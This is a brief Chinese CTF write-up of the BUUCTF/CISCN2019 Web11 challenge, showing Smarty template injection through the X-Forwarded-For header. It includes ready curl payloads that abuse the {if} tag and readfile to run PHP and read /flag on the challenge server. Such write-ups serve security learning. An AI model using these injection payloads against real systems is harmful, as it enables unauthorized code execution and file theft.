CISCN2019 华东南赛区/BUUCTF-Web11(smarty模板注入)
简单学了下smarty模板注入。
www.jianshu.com
访问http://url/xff 很容易猜测出这个IP的值受XFF头控制。在请求头里添加X-Forwarded-For: {{7+7}},发现存在模板注入。
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等。
按照if的这个特性,尝试执行phpinfo(),成功执行。
尝试执行系统命令whoami,成功执行。
也可以利用php函数show_source等(不唯一)很方便的读取flag:
payload:
curl http://node3.buuoj.cn:25781/xff/ -H "X-Forwarded-For: {if show_source('/flag')}{/if}" 或 curl http://node3.buuoj.cn:25781/xff/ -H "X-Forwarded-For: {readfile('/flag')}"